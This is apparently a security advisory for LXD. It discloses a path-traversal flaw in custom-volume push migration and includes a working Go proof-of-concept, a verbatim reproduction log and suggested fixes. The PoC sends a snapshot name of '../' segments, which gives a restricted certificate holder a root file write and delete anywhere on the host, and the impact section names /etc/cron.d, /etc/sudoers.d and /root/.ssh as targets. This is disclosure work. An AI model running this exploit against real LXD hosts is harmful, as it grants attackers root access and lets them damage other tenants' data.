		execP   = flag.String("exec", "", "execPath for rsync.Send (default: this binary)")
		comment = flag.String("comment", "", "free-form label printed in the log")
	)
	flag.Parse()

	if *certF == "" || *keyF == "" || *srcDir == "" {
		logf("FATAL: -cert, -key and -srcdir are required")
		os.Exit(2)
	}

	if *comment != "" {
		logf("== %s ==", *comment)
	}

	certPEM, err := os.ReadFile(*certF)
	if err != nil {
		logf("FATAL reading cert: %v", err)
		os.Exit(2)
	}

	keyPEM, err := os.ReadFile(*keyF)
	if err != nil {
		logf("FATAL reading key: %v", err)
		os.Exit(2)
	}

	if *execP == "" {
		*execP, err = os.Executable()
		if err != nil {
			logf("FATAL resolving executable: %v", err)
			os.Exit(2)
		}
	}

	// Sanity: populate the source directory if empty.
	entries, err := os.ReadDir(*srcDir)
	if err != nil {
		logf("FATAL reading srcdir: %v", err)
		os.Exit(2)
	}

	logf("source dir %q has %d entries", *srcDir, len(entries))
	logf("target=%s pool=%s vol=%s", *url, *pool, *vol)
	logf("attacker snapshot name = %q", *snap)

	c, err := client.ConnectLXD(*url, &client.ConnectionArgs{
		TLSClientCert:      string(certPEM),
		TLSClientKey:       string(keyPEM),
		InsecureSkipVerify: true,
	})
	if err != nil {
		logf("FATAL ConnectLXD: %v", err)
		os.Exit(1)
	}

	logf("connected to %s", *url)

	// Bind the connection to the requested project (restricted certs are scoped per project).
	srv := c
	if *project != "" {
		srv = c.UseProject(*project)
		logf("using project %q on the target", *project)
	}

	// 1. Ask the target to create a custom volume by receiving a *push* migration.
	op, err := srv.CreateStoragePoolVolume(*pool, api.StorageVolumesPost{
		Name:        *vol,
		Type:        "custom",
		ContentType: "filesystem",
		Source: api.StorageVolumeSource{
			Type: "migration",
			Mode: "push",
		},
	})
	if err != nil {
		logf("FATAL CreateStoragePoolVolume: %v", err)
		os.Exit(1)
	}

	opAPI := op.Get()
	uuid := opAPI.ID
	logf("migration operation = %s (class=%s)", uuid, opAPI.Class)

	secrets, err := opAPI.WebsocketSecrets()
	if err != nil {
		logf("FATAL WebsocketSecrets: %v", err)
		os.Exit(1)
	}

	logf("websocket secrets: control=%q fs=%q", secrets[api.SecretNameControl], secrets[api.SecretNameFilesystem])

	// 2. Connect BOTH migration websockets (the target waits for both).
	ctrl, err := op.GetWebsocket(secrets[api.SecretNameControl])
	if err != nil {
		logf("FATAL control websocket: %v", err)
		os.Exit(1)
	}

	logf("control websocket connected")

	fsWS, err := op.GetWebsocket(secrets[api.SecretNameFilesystem])
	if err != nil {
		logf("FATAL fs websocket: %v", err)
		os.Exit(1)
	}

	logf("filesystem websocket connected")

	// 3. Send the offer header, carrying the attacker-chosen snapshot name.
	fsType := migration.MigrationFSType_RSYNC
	yes := true
	snapName := *snap
	header := &migration.MigrationHeader{
		Fs: &fsType,
		RsyncFeatures: &migration.RsyncFeatures{
			Xattrs:        &yes,
			Delete:        &yes,
			Compress:      &yes,
			Bidirectional: &yes,
		},
		Snapshots: []*migration.Snapshot{
			{
				Name:         &snapName,
				Ephemeral:    new(bool),
				Architecture: proto.Int32(0),
				Stateful:     new(bool),
				CreationDate: proto.Int64(time.Now().Unix()),
			},
		},
		SnapshotNames: []string{snapName},
	}

	logf("sending offer header: fs=RSYNC snapshots=%q", header.SnapshotNames)

	_ = ctrl.SetWriteDeadline(time.Now().Add(30 * time.Second))

	err = migration.ProtoSend(ctrl, header)
	if err != nil {
		logf("FATAL ProtoSend(offerHeader): %v", err)
		os.Exit(1)
	}

	// 4. Receive the target's response header.
	respHeader := &migration.MigrationHeader{}
	_ = ctrl.SetReadDeadline(time.Now().Add(60 * time.Second))

	err = migration.ProtoRecv(ctrl, respHeader)
	if err != nil {
		logf("FATAL ProtoRecv(respHeader): %v", err)
		os.Exit(1)
	}

	features := respHeader.GetRsyncFeaturesSlice()
	logf("response header: fs=%v rsyncFeatures=%v snapshotNames=%q indexHeaderVersion=%d",
		respHeader.GetFs(), features, respHeader.GetSnapshotNames(), respHeader.GetIndexHeaderVersion())

	// 5. Stream the filesystem data: snapshots first, then the main volume.
	fsRWC := ws.NewWrapper(fsWS)
	srcPath := filepath.Clean(*srcDir) + "/"
	bwlimit := ""
	var rsyncArgs []string

	logf("sending snapshot stream from %s", srcPath)

	err = rsync.Send(*vol, srcPath, fsRWC, nil, features, bwlimit, *execP, rsyncArgs...)
	if err != nil {
		logf("ERROR sending snapshot stream: %v", err)
		os.Exit(1)
	}

	logf("snapshot stream sent")

	logf("sending main volume stream from %s", srcPath)

	err = rsync.Send(*vol, srcPath, fsRWC, nil, features, bwlimit, *execP, rsyncArgs...)
	if err != nil {
		logf("ERROR sending main volume stream: %v", err)
		os.Exit(1)
	}

	logf("main volume stream sent")

	// 6. Read the final control message from the target.
	msg := migration.MigrationControl{}
	_ = ctrl.SetReadDeadline(time.Now().Add(120 * time.Second))

	err = migration.ProtoRecv(ctrl, &msg)
	if err != nil {
		logf("WARN reading final control message: %v", err)
	} else {
		logf("final control message: success=%v message=%q", msg.GetSuccess(), msg.GetMessage())
	}

	// 7. Report the operation's own result.
	waitOp, _, gerr := srv.GetOperation(uuid)
	if gerr != nil {
		logf("WARN GetOperation: %v", gerr)
	} else if waitOp != nil {
		logf("operation final state: status=%s err=%q", waitOp.Status, waitOp.Err)

		if waitOp.Status == string(api.Success) {
			logf("RESULT: migration operation SUCCEEDED")
			return
		}

		logf("RESULT: migration operation ended with status=%s err=%q", waitOp.Status, waitOp.Err)
	}
}

Reproduction result

Verbatim output of ./poc.sh on the reproduction host (Ubuntu 20.04.6 LTS, kernel 5.15.0-139). Decisive lines are marked with >>>.


>>> Stage 0: bring up the target daemon (/tmp/lxd/build/bin69) and storage pool pocpool (driver=dir)
[OK] target daemon ready (/tmp/lxd-poc2-run/t-var)
name: pocpool
description: ""
driver: dir
status: Created
config:
  source: /tmp/lxd-poc2-run/t-pool
used_by: []
locations:
[OK] restricted project attacker ready

>>> Stage 1: prepare two certificates - an admin one (used by this script) and the RESTRICTED ATTACKER one
[OK] certificates ready: /tmp/lxd-poc2-run/conf/attacker.crt (CN=poc2-restricted)
[OK] restricted certificate registered
    name=poc2-admin type=client restricted=False projects=[]
    name=poc2-restricted type=client restricted=True projects=['attacker']

>>> Stage 2 (control): prove the restricted certificate really is restricted
  create a storage pool with the restricted certificate -> HTTP 403 (expect 403)
[OK] the restricted certificate cannot create storage pools - it is genuinely restricted

>>> Stage 3: compute the attacker-chosen snapshot name and check the path arithmetic
  destination VICTIM_DIR = /tmp/lxd-poc2-victim
  snapshot name SNAP_NAME = pocvol/../../../../../../../../tmp/lxd-poc2-victim
  recomputed with the real package (poc/mountpath):
    LXD_DIR                     = /tmp/lxd-poc2-run/t-var
    GetSnapshotVolumeName       = "attacker_pocvol/pocvol/../../../../../../../../tmp/lxd-poc2-victim"
    GetVolumeMountPath          = "/tmp/lxd-poc2-victim"
    resolved parent directory   = "/tmp"
    snapshot dir name component = "lxd-poc2-victim"
    volume's own snapshot dir  = "/tmp/lxd-poc2-run/t-var/storage-pools/pocpool/custom-snapshots/attacker_pocvol"
    escapes the volume's dir    = true
    >>> CONFIRMED: the peer-supplied snapshot name resolves outside the volume directory

>>> Stage 4 (prepare the victim directory and the attacker's volume content)
  /tmp/lxd-poc2-victim before the attack:
    total 16
    drwxr-xr-x  2 root root  4096 Sep 30 05:45 .
    drwxrwxrwt 45 root root 12288 Sep 30 05:45 ..
  total 8
  -rw-rw-r-- 1 yue  yue  21 Sep 30 05:45 poc2-marker
  -rw-rw-r-- 1 root root 44 Sep 30 05:45 root-owned-marker
[OK] attacker volume content in place: /tmp/lxd-poc2-run/srcvol

>>> Stage 5 (attack): push-migrate a custom volume with the restricted certificate, snapshot name = traversal name
  | [05:45:22] == poc: snapshot name escapes to /tmp/lxd-poc2-victim ==
  | [05:45:22] source dir "/tmp/lxd-poc2-run/srcvol" has 2 entries
  | [05:45:22] target=https://127.0.0.1:8466 pool=pocpool vol=pocvol
  | [05:45:22] attacker snapshot name = "pocvol/../../../../../../../../tmp/lxd-poc2-victim"
  | [05:45:22] connected to https://127.0.0.1:8466
  | [05:45:22] using project "attacker" on the target
  | [05:45:23] migration operation = 01a0f259-231a-72b1-9e5c-424beb982e4c (class=websocket)
  | [05:45:23] websocket secrets: control="e050764e4a1167b38b0f450c06c113c951c37cbf7a5e1f6251b6be33adc3d343" fs="4d6e55267c2fc0a04d43855dc489e9c3f76d2141c9fe4899b1b68abe01bcae5f"
  | [05:45:23] control websocket connected
  | [05:45:23] filesystem websocket connected
  | [05:45:23] sending offer header: fs=RSYNC snapshots=["pocvol/../../../../../../../../tmp/lxd-poc2-victim"]
  | [05:45:23] response header: fs=RSYNC rsyncFeatures=[xattrs delete compress bidirectional] snapshotNames=["pocvol/../../../../../../../../tmp/lxd-poc2-victim"] indexHeaderVersion=0
  | [05:45:23] sending snapshot stream from /tmp/lxd-poc2-run/srcvol/
  | [05:45:23] snapshot stream sent
  | [05:45:23] sending main volume stream from /tmp/lxd-poc2-run/srcvol/
  | [05:45:23] main volume stream sent
  | [05:45:23] final control message: success=true message=""
  | [05:45:23] operation final state: status=Success err=""
  | [05:45:23] RESULT: migration operation ended with status=Success err=""
  exit code: 0

>>> Stage 6 (verify): did the attacker's content land in the target directory as root?
    total 24
    drwxrwxr-x  2 yue  yue   4096 Sep 30 05:45 .
    drwxrwxrwt 45 root root 12288 Sep 30 05:45 ..
    -rw-rw-r--  1 yue  yue     21 Sep 30 05:45 poc2-marker
    -rw-rw-r--  1 root root    44 Sep 30 05:45 root-owned-marker
[OK] the marker file appeared at /tmp/lxd-poc2-victim/poc2-marker
  poc2-marker: owner/mode=yue:yue 664
  root-owned-marker: owner/mode=root:root 664
  (the write was performed by the root target daemon; each file keeps the uid it
   had in the source volume, because rsync runs with -a --numeric-ids)

    control: a legitimate snapshot name only ever lands under <pool>/custom-snapshots/<vol>/
    attack : the volume content was written by root into /tmp/lxd-poc2-victim (the snapshot name traversed with ..)
    >>> CONFIRMED: the migration receiver does not validate snapshot names, giving a root arbitrary-path write <<<

>>> Stage 7 (daemon-side corroboration): the receiver itself recorded the traversal name
    Snapshots:[pocvol/../../../../../../../../tmp/lxd-poc2-victim]
    FSType:RSYNC
    project=attacker
    time="2026-09-30T05:45:23-07:00" level=debug msg="Creating snapshot" driver=dir pool=pocpool volName=attacker_pocvol/pocvol/../../../../../../../../tmp/lxd-poc2-victim
    method=POST protocol=tls url="/1.0/storage-pools/pocpool/volumes/custom?project=attacker"
    method=POST protocol=tls url="/1.0/storage-pools/pocpool/volumes/custom?project=attacker"
    subject="CN=poc2-restricted"

>>> done (verdict=confirmed)

Impact

Binding to the real security boundary: the attacker holds only a restricted client certificate scoped to a single project — the lowest privilege LXD issues, below a project administrator and far below host root — and obtains root-privileged filesystem operations at a path of their choosing.

Concretely, on a host whose storage pool uses a driver that does not validate (see the table above):

  1. Arbitrary root file write. The attacker's content is rsync'd as root into the resolved path. If the path is an existing directory — /etc/cron.d, /etc/sudoers.d, /root/.ssh, /etc/ld.so.preload's directory, a web server's document root — the attacker gains root-level code execution or credential installation on the host. This is the same impact ceiling Canonical assigned CVSS 9.6 to for CVE-2026-85185.
  2. Arbitrary recursive root delete. The same name drives os.RemoveAll(snapPath) in dir/btrfs-style revert hooks, and the outer revert hook (generic_vfs.go:411) calls DeleteVolumeSnapshot(). The peer controls whether those hooks fire (it can simply abort the migration), and the path is its own.
  3. Cross-tenant impact inside a shared pool. Even where the operation stays within the storage pool's filesystem (the btrfs case, which is the one demonstrated here), the path escapes the volume's own namespace into the shared directories where every project's volumes live, so one tenant can create or remove filesystem objects belonging to another.

The attacker needs no privileged container, no host namespace, no host mount, no dangerous capability and no access to the LXD socket; there is no image pull and no user interaction. A source.type=migration, mode=push request is a normal, fully supported operation for a restricted project user.

Suggested remediation

Validate the snapshot names at the point they enter the daemon, and keep the driver-level checks as defence in depth.

  1. The one-line fix at the entry point. In lxd/storage/backend_lxd.go CreateCustomVolumeFromMigration(), next to the existing VolumeDBCreate loop (:5584-5587), mirror the backup-import path a few thousand lines below (:8236-8259) — which already carries the comment explaining exactly this threat:

``go for _, snapName := range args.Snapshots { // The snapshot name comes from the source peer and is used to build a // filesystem path, so it must be validated (see CreateCustomVolumeFromBackup). err = drivers.ValidVolumeName(snapName) if err != nil { return fmt.Errorf("Invalid volume snapshot name %q: %w", snapName, err) } newSnapshotName := drivers.GetSnapshotVolumeName(args.Name, snapName) ... ``

ValidVolumeName rejects "", ., .., \, / and whitespace, which is precisely the set that can escape the volume directory.

  1. Belt and braces in the generic receive loop. Add the same guard the backup unpacker has, so any future caller is covered:

``go // lxd/storage/drivers/generic_vfs.go, in genericVFSMigrateVolume (~:371) for _, snapName := range volTargetArgs.Snapshots { // Defend against path traversal attacks. err := instancetype.ValidSnapName(snapName) if err != nil { return fmt.Errorf("Invalid snapshot name %q: %w", snapName, err) } ``

  1. Consider moving the check into Volume.MountPath()/EnsureMountPath() on the stable branches too. lxd-main already hardened EnsureMountPath(); backporting that validation to lxd-6.9/lxd-5.21.8 would close the dir driver gap on the supported older branches, where the impact is the largest.
  2. Regression tests. Extend the migration tests to push a custom volume whose MigrationHeader carries snapshot names such as ../x, a/../../b and /etc/cron.d, and assert the receive fails with "Invalid volume snapshot name". The equivalent backup test from CVE-2026-66898 is the right template; the migration variant is the case that was missed.

Affected versions

References

GitHub · canonical/lxd